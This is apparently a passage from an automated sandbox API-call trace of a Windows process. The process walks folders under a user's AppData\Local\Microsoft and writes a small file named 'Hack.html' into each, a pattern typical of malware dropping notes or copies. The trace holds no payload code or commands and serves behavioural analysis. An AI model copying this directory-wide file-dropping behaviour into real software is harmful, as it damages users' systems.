lpOldMode=0x39ecb4) returned 1 [0076.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Hack.html", lpFilePart=0x0) returned 0x54 [0076.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0076.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.999] GetFileType (hFile=0x174) returned 0x1 [0076.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0076.999] GetFileType (hFile=0x174) returned 0x1 [0076.999] WriteFile (in: hFile=0x174, lpBuffer=0x271f56c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x271f56c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0077.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\Hack.html", lpFilePart=0x0) returned 0x4b [0077.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.001] GetFileType (hFile=0x174) returned 0x1 [0077.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.001] GetFileType (hFile=0x174) returned 0x1 [0077.001] WriteFile (in: hFile=0x174, lpBuffer=0x2721d9c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2721d9c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x3b [0077.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\", lpFilePart=0x0) returned 0x3c [0077.002] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.002] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.002] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.003] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.003] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x3b [0077.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\", lpFilePart=0x0) returned 0x3c [0077.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.003] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.003] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.003] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.003] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.004] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\Hack.html", lpFilePart=0x0) returned 0x45 [0077.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.004] GetFileType (hFile=0x174) returned 0x1 [0077.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.004] GetFileType (hFile=0x174) returned 0x1 [0077.004] WriteFile (in: hFile=0x174, lpBuffer=0x2725f54*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2725f54*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x3b [0077.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\", lpFilePart=0x0) returned 0x3c [0077.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.006] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.006] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.006] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x3b [0077.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\", lpFilePart=0x0) returned 0x3c [0077.007] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.007] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.007] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.007] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.007] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\Hack.html", lpFilePart=0x0) returned 0x45 [0077.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\ime12\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.008] GetFileType (hFile=0x174) returned 0x1 [0077.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.008] GetFileType (hFile=0x174) returned 0x1 [0077.008] WriteFile (in: hFile=0x174, lpBuffer=0x2729da0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2729da0*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x3c [0077.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\", lpFilePart=0x0) returned 0x3d [0077.009] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.011] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.011] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.011] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x3c [0077.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\", lpFilePart=0x0) returned 0x3d [0077.012] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.012] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.012] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.012] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\Hack.html", lpFilePart=0x0) returned 0x46 [0077.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp12\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.013] GetFileType (hFile=0x174) returned 0x1 [0077.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.013] GetFileType (hFile=0x174) returned 0x1 [0077.013] WriteFile (in: hFile=0x174, lpBuffer=0x272dc3c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x272dc3c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x3d [0077.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\", lpFilePart=0x0) returned 0x3e [0077.014] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.017] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.017] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.017] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x3d [0077.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\", lpFilePart=0x0) returned 0x3e [0077.017] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.018] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.018] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.018] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\Hack.html", lpFilePart=0x0) returned 0x47 [0077.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp8_1\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.019] GetFileType (hFile=0x174) returned 0x1 [0077.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.019] GetFileType (hFile=0x174) returned 0x1 [0077.019] WriteFile (in: hFile=0x174, lpBuffer=0x2731af8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2731af8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.020] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x3d [0077.020] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\", lpFilePart=0x0) returned 0x3e [0077.020] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.020] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.021] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.021] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x3d [0077.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\", lpFilePart=0x0) returned 0x3e [0077.021] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.021] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.021] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.021] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.022] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\Hack.html", lpFilePart=0x0) returned 0x47 [0077.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp9_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.022] GetFileType (hFile=0x174) returned 0x1 [0077.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.022] GetFileType (hFile=0x174) returned 0x1 [0077.022] WriteFile (in: hFile=0x174, lpBuffer=0x27359b4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27359b4*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x47 [0077.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x48 [0077.023] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.030] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.030] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.030] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.031] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.031] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.031] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.031] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.031] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.031] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, 